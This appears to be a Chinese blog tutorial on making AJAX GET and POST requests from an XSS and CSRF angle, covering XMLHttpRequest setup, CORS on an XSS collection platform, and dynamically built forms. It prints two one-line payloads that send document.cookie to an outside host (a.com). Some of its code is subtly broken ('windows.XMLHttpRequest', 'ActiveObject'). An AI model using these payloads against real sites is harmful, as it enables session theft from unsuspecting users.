ajax模拟请求
理解ajax
核心对象是XMLHttpRequest(简称xhr),IE7之前是通过ActiveXObject对象实现的。
- 异步:独立于浏览器主线程去做自己的事情,
- 同步:请求发送后需要等待响应回来,这个时期进入阻塞阶段
xhr实例化
var xmlhttp;
if(windows.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
//ie5、ie6
xmlhttp = new ActiveObject("Microsoft.XMLHTTP");
}
GET请求
ajax是遵守同源策略的,w3c的CORS(Cross-OriginResource Sharing)方案支持跨域,在接收信息(xss平台)设置:
其中*为任意域都行,也可以设置为指定的某域
当漏洞点给xss平台发送请求的时候,浏览器会自动加上Origin头,xss平台会判断这个头中的域是不是自己允许的域。不是就会爆出权限错误,虽然报错,但是还是接收到了数据

GET请求
简单化get请求
//新建img标签对象
new Image().src="http://a.com/ajax.php?get="+escape(document.cookie);
//地址栏打开目标网址,地址会跳转,隐蔽性不高
location.href="http://a.com/ajax.php?get="+escape(document.cookie);
简单POST请求
其中application/x-www-form-urlencoded是默认的标准表单提交格式
还有一种是上传文件中常见,multipart/form-data
POST模拟表单提交
动态创建表单提交(常用于csrf)
通过javascript动态的常见一个form
notice:
本地测试的时候没有加上<html><body>xxx</body></html>,然后报错Uncaught TypeError: Cannot read property 'appendChild' of null
参考了二哥的回复:点击我打开
原因是document.body.appendChild(f);在添加form时候并没有body,于是会爆出null


浙公网安备 33010602011771号